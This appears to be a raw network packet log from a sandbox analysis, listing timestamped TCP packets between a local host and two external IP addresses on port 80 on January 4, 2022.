Jan 4, 2022 19:32:47.664549112 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664587021 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664618969 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664635897 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664678097 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664710999 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664726019 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664766073 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664796114 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664814949 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664890051 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664897919 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664941072 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.665014982 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.705763102 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.705835104 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.705961943 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733040094 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733098030 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733139992 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733177900 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733200073 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733259916 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733259916 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733319998 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733378887 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733383894 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733432055 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733489990 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733493090 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733556032 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733613968 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733616114 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733676910 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733726978 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733735085 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733794928 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733848095 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733855009 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733920097 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.733978987 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.733978987 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734039068 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734097958 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734097958 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734155893 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734210014 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734214067 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734272957 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734328985 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734330893 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734391928 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734445095 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734451056 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734504938 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734546900 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734563112 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734586000 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734623909 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734635115 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734663963 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734703064 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734709978 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734741926 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734783888 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734788895 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734821081 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734860897 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734875917 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734900951 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734935045 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.734949112 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.734982014 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.735366106 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.803258896 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.420731068 CET	49754	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.477714062 CET	80	49754	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.477824926 CET	49754	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.477992058 CET	49754	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.478008986 CET	49754	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.534872055 CET	80	49754	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.574347019 CET	80	49754	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.576556921 CET	49754	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.576894045 CET	49754	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.621673107 CET	49756	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.634107113 CET	80	49754	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.681879997 CET	80	49756	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.683389902 CET	49756	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.683502913 CET	49756	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.683648109 CET	49756	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.743582964 CET	80	49756	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.743623972 CET	80	49756	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.783063889 CET	80	49756	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.783160925 CET	49756	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.783504009 CET	49756	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.810626984 CET	49757	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.843596935 CET	80	49756	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.875291109 CET	80	49757	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.875406981 CET	49757	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.875529051 CET	49757	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.875560045 CET	49757	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.946392059 CET	80	49757	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.946588039 CET	80	49757	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.991383076 CET	80	49757	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:49.992052078 CET	49757	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:49.992377043 CET	49757	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.031888008 CET	49758	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.056993961 CET	80	49757	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:50.106744051 CET	80	49758	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:50.108242035 CET	49758	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.108448982 CET	49758	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.108468056 CET	49758	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.183352947 CET	80	49758	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:50.230135918 CET	80	49758	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:50.230336905 CET	49758	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.238523006 CET	49758	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.313421965 CET	80	49758	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:50.581209898 CET	49759	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.972342014 CET	80	49759	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:50.972491026 CET	49759	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.972626925 CET	49759	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:50.972671986 CET	49759	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.029628992 CET	80	49759	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.076517105 CET	80	49759	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.076679945 CET	49759	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.076744080 CET	49759	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.109103918 CET	49760	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.169975996 CET	80	49760	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.170133114 CET	49760	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.170270920 CET	49760	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.170295954 CET	49760	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.229878902 CET	80	49760	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.271735907 CET	80	49760	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.271768093 CET	80	49760	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.271874905 CET	49760	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.272196054 CET	49760	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.282119989 CET	49761	80	192.168.2.5	185.186.142.166
Jan 4, 2022 19:32:51.331835985 CET	80	49760	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.339102030 CET	80	49761	185.186.142.166	192.168.2.5
Jan 4, 2022 19:32:51.369668961 CET	80	49759	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.369774103 CET	49759	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:51.474857092 CET	80	49759	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:51.844618082 CET	49761	80	192.168.2.5	185.186.142.166
Jan 4, 2022 19:32:51.900115013 CET	80	49761	185.186.142.166	192.168.2.5
Jan 4, 2022 19:32:52.406100988 CET	49761	80	192.168.2.5	185.186.142.166
Jan 4, 2022 19:32:52.461581945 CET	80	49761	185.186.142.166	192.168.2.5
Jan 4, 2022 19:32:52.496464014 CET	49769	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.571650028 CET	80	49769	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:52.571858883 CET	49769	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.572005987 CET	49769	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.572032928 CET	49769	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.647207975 CET	80	49769	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:52.690854073 CET	80	49769	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:52.694973946 CET	49769	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.695422888 CET	49769	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.726002932 CET	49770	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.770493031 CET	80	49769	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:52.786283016 CET	80	49770	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:52.786429882 CET	49770	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.786643982 CET	49770	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.786777020 CET	49770	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.846609116 CET	80	49770	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:52.890568972 CET	80	49770	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:52.890765905 CET	49770	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.891017914 CET	49770	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:52.950689077 CET	80	49770	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.196907997 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.264269114 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.264451027 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.264631987 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.357075930 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357134104 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357172012 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357211113 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357249022 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357280970 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.357291937 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357301950 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.357470036 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.357635021 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357676983 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357714891 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357754946 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.357810974 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.357826948 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.424942970 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425009012 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425050974 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425091028 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425127983 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425149918 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425168037 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425189972 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425216913 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425256014 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425296068 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425317049 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425327063 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425334930 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425371885 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425410986 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425448895 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425470114 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425476074 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425491095 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425534964 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425570965 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425610065 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425632000 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425638914 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425648928 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425685883 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425724983 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.425779104 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.425786972 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.493256092 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493602037 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493654966 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493705988 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493783951 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493782997 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.493818045 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.493835926 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493887901 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493937016 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493985891 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.493992090 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494000912 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494040012 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494091034 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494141102 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494190931 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494198084 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494206905 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494240046 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494290113 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494339943 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494390965 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494400024 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494409084 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494441032 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494491100 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494539976 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494590998 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494596958 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494605064 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494642019 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494692087 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494741917 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494791031 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494806051 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494816065 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494841099 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494891882 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494942904 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494990110 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.494993925 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.494997978 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.495045900 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.495095968 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.495145082 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.495193958 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.495208979 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.495218039 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.495244026 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.495295048 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.495393038 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.563378096 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.563661098 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.563716888 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.563767910 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.563819885 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.563853979 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.563893080 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.563910007 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.563945055 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.563994884 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564043999 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564089060 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564095020 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564096928 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564148903 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564198971 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564250946 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564300060 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564306021 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564316034 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564348936 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564398050 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564440012 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564446926 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564496994 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564546108 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564548969 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564558983 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564594984 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564644098 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564692974 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564743042 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564744949 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564753056 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564791918 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564841032 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564888954 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.564924002 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.564974070 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565026045 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565089941 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565145969 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565148115 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.565157890 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.565211058 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565277100 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565330029 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565381050 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565385103 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.565393925 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.565432072 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565483093 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565534115 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.565587997 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.565598011 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633102894 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633168936 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633236885 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633268118 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633299112 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633323908 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633328915 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633351088 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633361101 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633403063 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633459091 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633506060 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633538008 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633598089 CET	49771	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:53.633605957 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633661032 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633713007 CET	80	49771	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:53.633732080 CET	49771	80	192.168.2.5	89.223.65.17
